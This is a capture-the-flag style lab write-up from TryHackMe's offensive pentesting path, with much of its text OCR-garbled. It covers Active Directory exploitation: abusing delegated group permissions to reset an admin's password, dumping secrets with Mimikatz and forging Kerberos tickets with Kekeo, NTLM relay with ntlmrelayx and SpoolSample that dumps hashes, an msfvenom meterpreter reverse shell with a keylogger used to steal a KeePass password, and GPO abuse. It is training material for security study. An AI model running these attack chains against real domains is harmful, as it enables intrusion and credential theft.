Exploiting Active Directory

When we have done recon and understand the AD structure and enviro-
ment, it is time to exploit. This phase is usually combined with persistence
to ensure that we can't lose the new position we gain, but this will be cov-
ered in next writeup.

Tryhackme — Offensive Pentesting Learning Path
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1 Exploiting Permission Delegation

Active Directory can delegate permissions and privileges through a feature called Permission Dele-
gation. Using Delegation, we can delegate the permission to force change a user's password to the
Helpdesk team, meaning they now have a delegated privilege for this specific function. In princi-
ple, to keep Delegation secure, the principle of least privilege should be followed. However, in
large organisations, this is easier said than done. In this task we will look at exploiting some Dele-

gation misconfigurations.

Let’s fire up Bloodhound.

root@ip-10-10-53-145: # neod4j console start
Active database: graph.db
Directories in use:
home: Jvar/lib/neo4]j
config: Jetc/neo4]j
logs: Jvar/log/neo4d]
plugins: Jvar/lib/neo4j/plugins
import: Jvar/lib/neo4j/import
data: Jvar/lib/neo4j/data
certificates: fvar/lib/neod]j/certificates
run: Jvar/run/neo4dj
Starting Neo4]j.

-

BLOODHOUN

Log in to Neod] Database

bolt:/Mocalhost. 7687

neodj

B Save Password




= JOE.LORD@ZA.TRYHACKME.LOC A K Y

JOE.LORD@ZA.TRYHACKME.LOC

Can’t really do much with our user credententials. Let’s dig more.

JOE.LORD@ZA.TRYHACKME.LOC A K Y

TIER 2 ADMINS@ZA. TRYHACKME.LOC >

iy g

IT SUPPORT@ZA.TF T,

R P2,




From the results, Bloodhound helps us to understand bigger picture:

Info Abuse Info Opsec Considerations References

The members of the group DOMAIN USERS@ZA. TRYHACKME.LOC have generic write
access to the group IT SUPPORT@ZA.TRYHACKME.LOC.

Generic Write access grants you the ability to write to any non-protected attribute on the
target object, including "members” for a group, and "serviceprincipalnames” for a user

An administrator has misconfigured the Permission Delegation of the IT Support group by provid-
ing the Domain Users group with the AddMembers ACE. This means that any member of the Do-
main Users group (including our account) can add accounts to the IT Support Group. Furthermore,
Bloodhound shows that the IT Support Group has the ForceChangePassword ACE for the Tier 2 Ad-
mins group members. This is not really a misconfiguration since Tier 2 admins are not that sensi-
tive, but it provides a very potent attack path when combined with the initial misconfiguration.

Let's exploit it!

The first step in this attack path is to add our AD account to the IT Support group.

The first step in this attack is to add our AD account to the IT Support group:

C:\> Add-ADGroupMember

C:\> Get-ADGroupMember

PS C:\>Add-ADGroupMember "IT Support" -Members "paula.bailey"

PS C:\>Get-ADGroupMember -Identity "IT Support"



Now that we are a member of the IT Support group, we have inherited the ForceChangePassword
Permission Delegation over the Tier 2 Admins group. First, we need to identify the members of
this group to select a target. We can use the Get-ADGroupMember:

Get-ADGroupMember -ldentity "Tier 2 Admins"

C:\> Get-ADGroupMember

distinguishedName : CN=t2_ lawrence.lewis,0U=T2
Admins,0U=Admins,DC=za,DC=tryhackme,DC=1loc
t2_lawrence.lewis
user
] : 4ca61b47-93c8-44d2-987d-eca30c69d828
SamAccountName : t2 lawrence.lewis

5ID : 5-1-5-21-3885271727-2693558621-2658995185-1893

distinguishedName : CN=t2_leon.francis,0U=T2
Admins,OU=Admins,DC=za,DC=tryhackme,DC=1loc
t2_leon.francis
user
] : 854b6d46-d537-4986-b586-c40950e0d519
SamAccountName : t2 leon.francis

5ID : 5-1-5-21-3885271727-2693558621-2658995185-3660

Make a note of the username of one of these accounts. We can use the Set-ADAccountPassword

AD-RSAT cmdlet to force change the password. Let’s target “t2_lawrence.lewis”.

PS C:\> SPassword = ConvertTo-SecureString "pystyyvetaal23" -AsPlainText -Force

PS C:\>Set-ADAccountPassword -ldentity "t2_lawrence.lewis" -Reset -NewPassword SPassword

\> SPassword ConvertTo-SecureString

Set-ADAccountPassword

It might give an Access Denied error, permissions have not yet propagated through the domain.

This can take up to 10 minutes.



Then just login with new password:

:\> whoami
awrence. lewis
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We escalated your privileged to Tier 2 Administrator by exploiting Permission Delegations!



2 Exploiting Kerberos Delegation

The practical use of Kerberos Delegation is to enable an application to access resources hosted on
a different server. An example of this would be a web server that needs to access a SQL database
hosted on the database server for the web application that it is hosting. Without delegation, we
would probably use an AD service account and provide it with direct access to the database. When
requests are made on the web application, the service account would be used to authenticate to

the database and recover information.

However, we can allow this service account to be delegated to the SQL server service. Once a user
logs into our web application, the service account will request access to the database on behalf of
that user. This means that the user would only be able to access data in the database that they
have the relevant permissions for without having to provide any database privileges or permis-

sions to the service account itself.

There are two types of Kerberos Delegation. In the original implementation of Kerberos Delega-
tion, Unconstrained Delegation was used, which is the least secure method. In essence, Uncon-
strained Delegation provides no limits to the delegation. In the background, if a user with the
"TRUSTED_FOR_DELEGATION" flag set authenticates to a host with Unconstrained Delegation con-
figured, a ticket-granting ticket (TGT) for that user account is generated and stored in memory so
it can be used later if needed. Suppose an attacker can compromise a host that has Unconstrained
Delegation enabled. In that case, they could attempt to force a privileged account to authenticate
to the host, which would allow them to intercept the generated TGT and impersonate the privi-

leged service.



First, using credentials from previous task, let’s enumerate Users with Constrained Delegation.

Import-Module C:\tools\PowerView.ps1

Get-NetUser -TrustedToAuth

=50
£0

1/1/1661 12:00:00 AM

8621-2658995185-615

USER_OBJECT
: : NEVER
country H
whencha : 4/23/2023 10:34:54 AM

-B800d-b62e2d2a2a4b

ryhack .loc, WSMAN/THMSERVER1,
, http/THMSERVER1}
guration,DC=tryhackme,DC=1loc

prmpagdt1mndata HE Y ' 00 00 AM
rincipalname : /svcservieb.za. tryhackme. loc

54 AM

. )ONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION
4r“*:“o 21

513

4/29/2022

147534

there is only one user allowed to act as a delegate for other users — svclIS@za.tryhackme.loc . This

account is allowed to delegate access to:

WSMAN/THMSERVER1.za.tryhackme.loc

http/THMSERVER1.za.tryhackme.loc
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Let's use Mimikatz to dump the secrets:

token::elevate - To dump the secrets from the registry hive, we need to impersonate the SYSTEM

user.

Isadump::secrets - Mimikatz interacts with the registry hive to pull the clear text credentials

C:\> C:\Tools\mimikatz_ trunk\x64\mimikatz.exe

CHEHHE. mimikatz 2.2.0 (x64) #19041 Aug 10 2621 17:19:53
HE M #E. "A La Vie, A L'Amour” - (o 0
#g / \ ## [*** Benjamin DELPY "gentilki _
Bt N [/ HE = https://blog.gentilkiwi.com/mimikatz
"HE v #Hi' Vincent LE TOUX ( vincent.letoux@gmail.com )
"RERER = https://pingcastle.com [/ https://mysmartlogon.com ***f

nimikatz # token::elevate

( nId : 0

I name

5ID name : NT AUTHORITY\SYSTEM

16 {0;000003e7} 1 D 24607 NT AUTHORITY\SYSTEM 5-1-
> Impersonated !

* Proce Token : {0;001a0cfb} ® D 1964866 ZA\t2 lawrence.lewis

‘rimary

* Thread Token : {0;000003e7} 1 D 1982452 NT AUTHORITY\SYSTEM

nimikatz # lsadump::secrets
Jomain : THMWRK1

Now that we have access to the password associated with the svcllS account, we can perform a

Kerberos delegation attack. We will use a combination of Kekeo and Mimikatz.
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We will use Kekeo to generate our tickets and then use Mimikatz to load those tickets into

memory. Let's start by generating the tickets:

mimikatz # exit
B\

C:\Tools}\ 64\

(x64) built on Dec 14 2621 11:51:55
\ L'Amour"

Benjamin DELPY “gentilkiwi®

https://blog.gentilkiwi.com/

vordi@

btgt/za.tryhackme.loc [KRB_NT_SRV_INST (2)]

TION KEY 23 (rc4_hmac_nt ): 43460d636T269c709b20049Ces
.tryhac loc (auto)

: 10.200.47.101 (auto)

in file 'TGT_svcIIS@

Now that we have the TGT for the account that can perform delegation, we can forge TGS re-
guests for the account we want to impersonate. We need to perform this for both HTTP and

WSMAN to allow us to create a PSSession on THMSERVER1:

CKME.LOC.kirbi fuser:tl_t

bl

330 9b954€ 5c4ad1fbaga3fbfbdds77cbac33g

. TRYHACKME . L( .TRYHACKME.LOC.kirbi"'

CKME.LOC_http~THMSERVER1.za.tryhackme.loc TRYHACKME.LOC.kirbi'

Now that we have the TGS tickets, we can use Mimikatz to import them:



mimikatz # privile

mimikatz

* File: .LOC

mimikatz 1iptt TGS_tl_trevor. jc

* File: 'TGS_ti_tr \. TRYHACKME.

mimikatz #

mimikatz # exit
B \,r

thm

Id Name

1 WinRM1

klist

onId is 0:8x1a6cfb

evor.jones @

: httprHH ERVER1.za.

Encryption Ty
0x40a100006

4/23/2023 1

4, L4F20“3 0:18

4’30 2023 14:

: AES-256-

Start Time
End Tim

-

_trevor.jones @
wsman/THMSERVER1.z
Encryption T

faloeen
[23/2023 1
/242023 ©
4;30#?9?3 14:
Type: AES-256-
: B8

_WS

LoC_
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.TRYHACKME . LOC_wsman~THMSERVER1. za.tryhacknr \. TRYHACKME . LOC. kirbi

man~THMSERVER1.za.tryhackme.lo A.TRYHACKME.LOC.kirbi': OK

.TRYHACKME.LOC_http~THMSERVER1.za. tryhackme.loc@ZA. TRYHACKME.LOC.kirbi

http~THMSERVER1.za. tryhackme.loc@ZA.TRYHACKME.LOC.kirbi': OK

serverl.za.tryhackme.loc

v

LunflguratlunNdNH Availability

ZA

i . TRYHACKME . LOC
¥ C-5HA1-96
> > pre_authent name canonicali

e

CTS HH C-5HA1-96

zZ

ZA.TRYHACK
a.tryhac

ME . LOC

—rr.

. TRYHACKME . LOC

e

CTs HHH

-5HA1-96




We can start a WinRM session as t1_trevor.jones on THMSERVER1:

% thmserveril.za.tryhackme.loc cmd
Microsoft Windows [Version 10.0.17763.1098]

~:\Use
vhoami
za\tl trevor. jones

C:\Users\tl_trevor. jones=>

13
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3 Exploiting Automated Relays

In AD, these machine accounts are used quite a bit in different services. Different domain control-
lers use their machine accounts to synchronise AD updates and changes. When you request a cer-
tificate on behalf of the host you are working on, the machine account of that host is used for au-

thentication to the AD Certificate Service.

There is an exceptional case in AD, where one machine has admin rights over another machine.
Essentially in the AD configuration, administrative permissions over a host have been granted to
another host. Again, this is expected functionality such as domain controllers or SQL clusters that
must be synchronised. However, these instances provide a very interesting attack vector for coerc-

ing authentication.

We first need to identify cases where a machine account has administrative access over another
machine. We can use Bloodhound for this, but it means we will have to write some custom cypher

queries. Click the "Create Custom Query" in the Analysis tab in Bloodhound:

Raw Query

MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p
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SERVER MANAGEMENT@

THMSERVER2.ZA.TRYHACKME.LOC THMSERVER1.ZA TRYHACKME.LOC

This is interesting. It shows us that the THMSERVER2 machine account has administrative

privileges over the THMSERVER1 machine.

We are going to focus on printer bug. When this was reported, Microsoft responded that

this was a feature. The printer bug is a "feature" of the MS-RPRN protocol (PrintSystem Remote
Protocol), which allows a domain user to remotely force a target host running the Print Spooler
service to authenticate to an arbitrary IP address. There have been a few of these bugs in recent
years: Spooler, PetitPotam, PrintNightmare. Microsoft claims that the only bug is that some of
these did not require AD credentials at all, but this issue has been resolved through security

patches.

Therefore, to exploit this, apart from machine account administrative privileges, we also need to

meet the following four conditions:

A valid set of AD account credentials.

Network connectivity to the target's SMB service.
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The target host must be running the Print Spooler service.

The hosts must not have SMB signing enforced.

First two conditions have been met already. The only two we need to ensure works are conditions
3and 4.

We need to determine if the Print Spooler service is running. Since we don't have access to
THMSERVER2, we need to query from the network perspective. In this case, we can use a WMI

qguery from our SSH session on THMWRK1 to query the service's current state:

0:~# sudo nmap -Pn -p445 --script=smb2-security-mode thmserverl.za.tryhackme.loc thmser

Starting Nmap 7.60 ( /nmap.org ) at 2023-04-23 15:04 BST

Nmap scan report for thms 1.za.tryhackme.loc (10.200.47.201)

Host is up (©.0011s latency).

rbDNS record for 10.200.47.201: ip-10-200-47-201.eu-west-1.compute.internal

ipt resul
ecurity-mode:

igning enabled but not required

Nmap scan report for thmserver2.za.tryhackme.loc (10.200.47.202)
Ho is up.
rbDNS record for 10.200.47.202: ip-10-200-47-202.eu-west-1.compute.internal

PORT STATE SERVICE
445/tcp filtered microsoft-ds

Nmap done: 2 IP addresses (2 hosts up) scanned in

Run basic nmap scan and we can see that Message signing Enabled but not required. We want to:
use NTLM authentication against the target - THMSERVER1

THMSERVER?2 has administrative privileges over THMSERVER1

Use SpoolSample.exe to connect to THMSERVER2 and tell it to authenticate back to us

We will relay that authentication request to THMSERVER1
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THMSERVER1 will see it as though we are connecting as THMSERVER2 , which will give us adminis-
trative privileges

The first step is to set up the NTLM relay:

python3.9 /opt/impacket/examples/ntimrelayx.py -smb2support -t smb://10.200.47.201 -debug

ro :~# python3.9 Jopt/impacket/examples/ntlmrelayx.py -smb2support -t smb://10.200.47.201 -debug

Impa v0.10.1.dev1+20230316.112532.f@ac44bd - Copyright 2022 Fortra

+] Impacket Library Installation Path: fusr/local/lib/python3.9/dist-packa impacket
k ib 1lati h: / /1 1/1ib/ h fdi k i k

up

up RAW Server on port 6666

started, waiting for connections

Then from THMWRK1, run following command:

PS C:\Tools> .\SpoolSample.exe THMSERVER2.za.tryhackme.loc
[+] Converted DLL to shellcode

[+] Executing RDI
[+] Calling exported function
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wdltlng for connections
connection from 10.200.47.282 ://10.200.47.201
//10.200.47.2C
from 10.200.47.202 controlled, but there are no more targets left!

controlled, but there are no more targets left!

53a56010474948dc
d:lmhash:nthash)
LdlCUldtlﬂg Hashe SAN
\ yle has i
jmln 500:a eaad3b435b51404ee:3279a0c6dfel15dc3fbeeoc26ddobossc: @ :
31d6cfefd16ae931b73c59d7efcOBICH: : :
aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089¢cO: ::

aad3b435b5140 02728d5173fc94a54e84f8b457af63a8

vagrant: 4€ d3b¢« 51404ee:e96eab5f240174fe2754efc94f6a53ae: :
[+]1 N i

43460d636T269c709b20049cee36ae7a: ¢

And we get connection! Succesfully caught the authentication from THMSERVER2 and relayed to

THMSERVER1. These credentials can now be used to get a shell on the host!
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4 Exploiting AD Users

From credentials gained in Task 3, we found interesting .kdbx-file:

s\ trevor.local\Documents:>

Directory: C:\Users\trevor.local\Documents

LastWriteTime Length Name

4/30/2022 4:36 PM 2190 PasswordDatabase.kdbx

C:\Users\trevor.local\Documents= I

Unfortunately, password database most likely uses strong password and we don’t have enough

resources to crack it. Luckily, we can try to use keylogger and sniff correct password.

Let’s generate payload and start handler:

):~# msfvenom -p windows/x64/meterpreter_reverse_ tcp LHOST=18.
c ( 443 -f psh -o withsecure.ps
[- ] Mo platform was selected, choosing Msf::Module::Platform::Windows from the p
ayload
[-] No dICh selected, selecting arch: x64 from the payload
: ified, nutputtlng raw payload

)-10-10-28-19:~# 5 = 4 ; set PAY
windows /x64 /meterpreter/reverse tcp; se ( 3.45 252; et LPORT 443;
exploit”
This copy of metasploit-framework is more than two we
Consider running 'm'fupjate' to update to the 1la
i = oad genericfshell reverse
PAYLOAD == windﬁwffan4fm:terpreterfreuerse_tcp
LHOST => 10.50.45.252
LPORT == 443
Started reverse TCP handler on 10.50.45
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Let’s transfer the payload to machine:

Swc = New-Object Net.WebClient

Swc. DownloadFile('http://10.50.45.252:4422/withsecure.psl’, "SPWD\withsecure.ps1")

rs\trevor.local\Documents> Sw New-Object Net.WebClient
New-0Object Net.WebClient

\withsecure.psi")

Then we execute the .ps1 on machine and we get connection!

PS C:\Users\trevor.local\Documents> .‘withsecure.psl
.\withsecure.ps1

2836

PS C:\Users\trevor.local\Documents> [

50.45.252:443
) to 10.200.47
Meterpreter s on 1 opened (16.56.45.252:443 -> 10.200.47.201:56245) at 20
-04-23 15:36:45 +0100

Let's migrate to a process of this user:

= migrate 1228
Migrating from 3296 to 1228.
Migration completed succ:ssfully.

With keyscan_start and keyscan_dump commands we get the password. Then we can download
the database to local machine.

14 KiB nf 2.14 KiB (1680. asswordDa e.kdbx -= froot/Pa

swordDatab X
Comple : PasswordData
meterpreter




Now we can open it locally with password:

Enter master key

[root/PasswordDatabase.kdbx

Password: sk e e e ek e ke ok s e e e

BT x0T 99

P& passwordDatabase

™ General # Flag

# windows # svcServMan
® Network
Ll

And see password for svcServman!

svcServMan|

Username: svcServMan

Password:

Username

svcservMan

21



5 Exploiting

GPOs
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Keylogging the user allowed us to decrypt their credential database, providing us with credentials

that can be useful to further our goal of AD exploitation, namely the svcServMan account. We

need to perform a bit of enumeration to figure out what these credentials will be useful for. Using

the search feature in Bloodhound, let's review the permissions that the discovered account has:

1

YHACKMELC A W Y

Node Info

SVCSERVMAN@ZA.TRYHACKME.LOC

Sessions

Sibling Objects in the Same OU
Reachable High Value Targets
Effective inbound GPOs

See user within Domain/OU Tree

Dispiay Name

Object ID

Password Last

Server Management

$-1-5-21-3885271727-2693558621-
2658995185-6156

Wed, 27 Apr 2022 17:01:02 GMT

Changed

Last Logon Wed, 27 Apr 2022 17:13:46 GMT
Last Logon Wed, 27 Apr 2022 17:13:41 GMT
(Replicated)

Enabled True
AdminCount False
Compromised False

= i A K

GenercWIite

GenericWrite ‘

{2
SVCSERVMAN@ZA TRYHACKME.LOC MANAGEMENT SERVER PUSHES@ZA.TRYHACKME.LOC

GpLink

o Contains = @
MANAGEMENT SERVER PUSHES@ZA TRYHACKME.LOC THMSERVER2.ZA TRYHACKME.LOC

SVCSERVMAN@ZA . TRYHACKME.LOC

MANAGEMENT SERVERS@ZA TRYHACKME.LOC
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One permission, in particular, stands out for this account, ownership over a Group Policy Object

(GPQ). It seem:s like this GPO is applied to our THMSERVER2 machine

We will RDP into THMWRK1 with either our normal or our Tier 2 Admin account, inject the AD us-

er's credentials into memory using the runas command, and open MMC to modify the GPO

Let’s navigate to the GPO that our user has permission to modify (Servers > Management Servers>

Management Server Pushes).

Consolel - [Console Root\Group Policy ManagementForest: tryhackme.loc\Domains\zatryhackme.loc \Servers\Management Servers]

aFiIe Actiocn  View  Favorites  Window  Help
Lol AR:Y ol MR 7|

~ Console Root Mahagement Servers

v & Group Policy Management Linked Group Policy Objects  Group Policy Inheritance  Delegation
W _\—l\‘ Forest: tryhackme.loc

v [ Domains Link. Order GPO

v i zatryhackmeloc o M anagement Server Pu
;| Default Domain Policy
1| Admins

| Domain Controllers

,: Local &Administrators - Servers
= | Management Servers
2| Unix
= | Workstations
=t Group Policy Objects
& WMI Filters
E Starter GPOs
[ Sites
st Group Pelicy Modeling

4 Group Policy Results

We can right-click on the GPO and select Edit. This will open the new Group Policy Management

Editor window.

In order to add our account to the local groups, we need to perform the following steps:

Expand Computer Configuration -> Expand Policies -> Expand Windows Settings -> Expand Security

-> Settings



&= |FE = HE

24

=] Local Administratars - Workstat
v A Cormputer Configuration

| Palicies

| Preferences
v ij%, User Configuration

| Palicies

| Preferences

_j Local Administrators - Workstations [THMDC 24 TRYHACKME.COI

Select an item to view its description.  Marne
i Computer Canfiguration
i User Configuration

Right Click on Restricted Groups and select Add Group (If the IT Support group already exists, it

means someone has already performed the exploit. You can either delete it to create it yourself,

or just inspect it to see what was configured.)

Click Browse, enter IT Support and click Check Names

Click Okay twice. In the end, it should look something like this:

ZAWT Suppart Properties ? >
Configure Memberzhip for 285 T Support

M embers of thiz group:

< Thiz group zhould contain no members: Add
Remove

Thiz group is a member of;

Adminizstrators Add.

Femate Deskiop Uzers
Remove

Ok

Cancel Apply
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All we need to do is wait for a maximum of 15 minutes for the GPO to be applied. After this, our
initial account that we made a member of the IT Support group will now have administrative and

RDP permissions on THMSERVER2!



